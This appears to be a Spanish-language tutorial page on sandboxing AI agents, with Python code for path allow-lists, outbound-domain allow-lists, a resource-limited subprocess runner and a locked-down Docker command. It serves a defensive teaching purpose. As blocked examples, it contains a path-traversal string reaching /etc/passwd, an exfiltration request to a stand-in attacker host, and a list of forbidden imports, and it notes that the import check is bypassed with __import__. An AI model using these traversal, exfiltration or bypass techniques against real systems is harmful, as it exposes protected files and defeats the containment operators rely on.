Aislamiento y entornos aislados (sandboxing)
En esta página
¿Por qué aislar los agentes de IA?
Un agente de IA que ejecuta código o invoca herramientas es fundamentalmente distinto de un chatbot sencillo. Un chatbot comprometido genera, en el peor de los casos, una respuesta embarazosa; un agente comprometido actúa: puede ejecutar órdenes del sistema, leer archivos sensibles o comunicarse con servicios externos. Todas las defensas vistas hasta ahora buscaban evitar el compromiso. El aislamiento cambia la estrategia: asume que el compromiso ocurrirá tarde o temprano y se centra en limitar lo que un atacante puede hacer una vez dentro. Este es un cambio fundamental, por lo que el aislamiento no sustituye a ninguna de las capas anteriores.
Nivel 1: Restringir el acceso a recursos
El primer nivel aplica el principio de mínimo privilegio a archivos y órdenes. El punto técnico clave es usar resolve() antes de comparar: sin ello, una ruta como /data/app/uploads/../../etc/passwd comienza con el directorio permitido y superaría una comprobación de prefijo ingenua. Resolver la ruta real neutraliza este recorrido, que sigue siendo uno de los ataques más comunes contra agentes que manipulan archivos.
import os
from pathlib import Path
class SandboxPermissions:
"""Controla los permisos de acceso a recursos."""
def __init__(self, allowed_folder: str, allowed_commands: list[str]):
self.allowed_folder = Path(allowed_folder).resolve()
self.allowed_commands = set(allowed_commands)
def verify_path(self, path: str) -> bool:
"""Verifica que una ruta esté dentro de la carpeta permitida."""
resolved_path = Path(path).resolve()
try:
resolved_path.relative_to(self.allowed_folder)
return True
except ValueError:
return False
def verify_command(self, command: str) -> bool:
"""Verifica que una orden esté en la lista blanca."""
cmd_base = command.split()[0] if command else ""
return cmd_base in self.allowed_commands
def read_file(self, path: str) -> str:
"""Lectura segura con verificación de ruta."""
if not self.verify_path(path):
raise PermissionError(
f"Acceso denegado: {path} está fuera de la carpeta permitida"
)
return Path(path).read_text()
# Uso
sandbox = SandboxPermissions(
allowed_folder="/data/app/uploads",
allowed_commands=["ls", "cat", "wc"],
)
# Correcto: archivo en carpeta permitida
try:
content = sandbox.read_file("/data/app/uploads/report.txt")
except PermissionError as e:
print(f"Bloqueado: {e}")
# Bloqueado: intento de recorrido de ruta
try:
content = sandbox.read_file("/data/app/uploads/../../etc/passwd")
except PermissionError as e:
print(f"Bloqueado: {e}")
Las órdenes siguen la misma lógica, usando una lista blanca en lugar de una lista negra. La asimetría es decisiva: una lista negra te obliga a imaginar todas las órdenes peligrosas, un ejercicio que perderás, mientras que una lista blanca solo requiere enumerar lo que el agente necesita realmente, a menudo solo tres o cuatro órdenes.
Nivel 2: Controlar el tráfico saliente
El aislamiento de red aborda el escenario de exfiltración comentado antes. Mientras el agente pueda enviar una petición HTTP a cualquier dominio, cualquier dato que toque podrá salir de tu perímetro, y el tráfico saliente parecerá tráfico de aplicación ordinario. Restringir los destinos a una lista explícita convierte un intento de exfiltración en una excepción registrada.
import subprocess
class NetworkSandbox:
"""Controla las comunicaciones de red del agente."""
def __init__(self, allowed_domains: list[str]):
self.allowed_domains = set(allowed_domains)
def is_allowed_request(self, url: str) -> bool:
"""Verifica que una URL esté en la lista blanca."""
from urllib.parse import urlparse
domain = urlparse(url).hostname
return domain in self.allowed_domains
def secure_fetch(self, url: str) -> str:
"""Petición HTTP con verificación de dominio."""
if not self.is_allowed_request(url):
raise PermissionError(f"Dominio no permitido: {url}")
import urllib.request
with urllib.request.urlopen(url, timeout=10) as resp:
return resp.read().decode()
sandbox_net = NetworkSandbox(
allowed_domains=["api.openai.com", "api.anthropic.com"]
)
# Correcto
try:
sandbox_net.secure_fetch("https://api.openai.com/v1/models")
except PermissionError as e:
print(e)
# Bloqueado: exfiltración a un dominio externo
try:
sandbox_net.secure_fetch("https://attacker.com/collect")
except PermissionError as e:
print(f"Bloqueado: {e}")
Nivel 3: Ejecutar código sin confiarle la máquina
Ejecutar código escrito por un modelo es el caso más delicado. La implementación siguiente combina tres protecciones: comprobación de importaciones antes de la ejecución, límites de memoria y tiempo de CPU establecidos dentro del propio script, y un entorno reducido al mínimo indispensable al lanzar el subproceso.
Es necesaria una advertencia sobre la verificación de importaciones. Se basa en búsqueda de texto, y un atacante cuidadoso la eludirá: __import__("os") no contiene la cadena buscada. Considera esta verificación como una barrera contra errores e intentos ingenuos, nunca como un límite de seguridad. El límite real es el proceso aislado con sus límites de recursos.
import subprocess
import tempfile
import os
class ExecutionSandbox:
"""Ejecuta código generado por el modelo en un entorno aislado."""
def __init__(self, timeout: int = 10, max_memory_mb: int = 256):
self.timeout = timeout
self.max_memory = max_memory_mb
def execute_python(self, code: str) -> dict:
"""Ejecuta código Python en un proceso aislado."""
# Comprobaciones de seguridad antes de la ejecución
dangerous_imports = ["os", "subprocess", "shutil", "socket", "requests"]
for imp in dangerous_imports:
if f"import {imp}" in code or f"from {imp}" in code:
return {
"success": False,
"error": f"Importación prohibida: {imp}",
"output": "",
}
# Crear un archivo temporal
with tempfile.NamedTemporaryFile(
mode="w", suffix=".py", delete=False
) as f:
# Añadir restricciones al inicio del script
wrapper = f"""
import resource
import sys
# Limitar memoria
resource.setrlimit(resource.RLIMIT_AS, ({self.max_memory * 1024 * 1024}, {self.max_memory * 1024 * 1024}))
# Limitar tiempo de CPU
resource.setrlimit(resource.RLIMIT_CPU, ({self.timeout}, {self.timeout}))
# Código de usuario
{code}
"""
f.write(wrapper)
temp_file = f.name
try:
result = subprocess.run(
["python3", temp_file],
capture_output=True,
text=True,
timeout=self.timeout,
env={"PATH": "/usr/bin", "HOME": "/tmp"},
)
return {
"success": result.returncode == 0,
"output": result.stdout[:5000],
"error": result.stderr[:2000] if result.returncode != 0 else "",
}
except subprocess.TimeoutExpired:
return {"success": False, "error": "Tiempo de espera superado", "output": ""}
finally:
os.unlink(temp_file)
# Uso
sandbox = ExecutionSandbox(timeout=5, max_memory_mb=128)
# Correcto: cálculo simple
result = sandbox.execute_python("print(sum(range(100)))")
print(result) # {"success": True, "output": "4950\n", "error": ""}
# Bloqueado: intento de acceso al sistema
result = sandbox.execute_python("import os; os.listdir('/')")
print(result) # {"success": False, "error": "Importación prohibida: os"}
Para casos de producción, Docker ofrece un aislamiento más robusto porque ya no depende de la cooperación del código ejecutado. Cada opción de la orden cierra una puerta específica: --network=none elimina cualquier posibilidad de exfiltración por red, --read-only impide la persistencia, --memory y --cpus limitan el consumo, --tmpfs otorga un espacio de trabajo volátil y limitado, y --security-opt=no-new-privileges prohíbe la escalada durante la ejecución. La opción --rm destruye el contenedor al finalizar, garantizando que ningún estado sobreviva de una ejecución a la siguiente.
class DockerSandbox:
"""Ejecuta código en un contenedor Docker efímero."""
def __init__(self, image: str = "python:3.12-slim"):
self.image = image
def execute(self, code: str, timeout: int = 10) -> dict:
"""Ejecuta código en un contenedor aislado."""
cmd = [
"docker", "run", "--rm",
"--network=none", # Sin red
"--memory=256m", # Límite de memoria
"--cpus=0.5", # Límite de CPU
"--read-only", # Sistema de archivos de solo lectura
"--tmpfs=/tmp:size=50m", # Espacio temporal limitado
"--security-opt=no-new-privileges",
self.image,
"python3", "-c", code,
]
try:
result = subprocess.run(
cmd, capture_output=True, text=True, timeout=timeout
)
return {
"success": result.returncode == 0,
"output": result.stdout[:5000],
"error": result.stderr[:2000],
}
except subprocess.TimeoutExpired:
return {"success": False, "error": "Tiempo de espera superado", "output": ""}
Elegir el nivel adecuado
Apilar los tres niveles en un chatbot de preguntas frecuentes sencillo es costoso e innecesario, mientras que confiar solo en el primer nivel para un agente que ejecuta código equivale a no proteger nada. La tabla siguiente ofrece un punto de partida; ajústala según la sensibilidad de los datos accesibles, que a menudo importa más que la sofisticación del agente.
| Escenario | Nivel recomendado |
|---|---|
| Chatbot simple de preguntas y respuestas | Permisos (Nivel 1) |
| Agente con acceso a API | Permisos + Red (Niveles 1-2) |
| Agente que ejecuta código | Docker completo (Nivel 3) |
| Agente multiusuario | Docker + aislamiento de sesión |
Sea cual sea el nivel que elijas, pruébalo como probarías una funcionalidad. Un entorno aislado que instalas y olvidas se degrada silenciosamente con el tiempo: una dependencia añadida, un volumen montado «temporalmente», un dominio abierto para resolver incidencias. Vuelve a ejecutar pruebas de recorrido de ruta y de dominios prohibidos con cada actualización del agente: una elusión del aislamiento no es una anomalía menor, es un incidente crítico.
Puntos clave
- El aislamiento es esencial en cuanto un agente tiene acceso a herramientas o ejecuta código
- Tres niveles de aislamiento: permisos, red, contenedor; combínalos según el riesgo
- El principio de mínimo privilegio se aplica a cada recurso: archivos, red, órdenes
- Docker con
--network=noney--read-onlyofrece el aislamiento más robusto - El aislamiento debe probarse regularmente: una elusión del aislamiento es un incidente crítico